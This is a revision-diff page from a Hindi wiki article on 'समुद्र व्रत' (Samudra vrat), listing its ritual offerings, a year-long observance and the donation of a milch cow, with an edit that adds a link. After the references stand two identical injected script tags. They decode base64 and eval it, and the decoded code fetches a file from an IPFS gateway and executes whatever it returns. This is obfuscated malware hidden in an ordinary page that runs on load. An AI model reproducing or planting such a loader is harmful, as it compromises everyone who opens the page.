"समुद्र व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
No edit summary
पंक्ति 4: पंक्ति 4:
*समुद्रव्रत में [[लवण]], [[दूध]], [[घी]], [[दघिमण्ड]], [[जल]] मिश्रित [[मदिरा]], [[गन्ना]] के रस एवं मीठे [[दही]] से पूजा करनी चाहिए।
*समुद्रव्रत में [[लवण]], [[दूध]], [[घी]], [[दघिमण्ड]], [[जल]] मिश्रित [[मदिरा]], [[गन्ना]] के रस एवं मीठे [[दही]] से पूजा करनी चाहिए।
*रात्रि में हविष्य भोजन करना चाहिए।
*रात्रि में हविष्य भोजन करना चाहिए।
*घी से होम करन चाहिए।
*[[घी]] से होम करन चाहिए।
*समुद्र व्रत एक वर्ष तक करना चाहिए।
*समुद्र व्रत एक वर्ष तक करना चाहिए।
*अन्त में एक दुधारू [[गाय]] का दान करना चाहिए।
*अन्त में एक दुधारू [[गाय]] का दान करना चाहिए।

04:35, 11 फ़रवरी 2011 का अवतरण

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत खण्ड 2, 464-465, विष्णुधर्मोत्तरपुराण 3|160|1-7 से उद्धरण)
  2. (वायु पुराण 49|123)
  3. (कूर्मपुराण 1|45|4)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>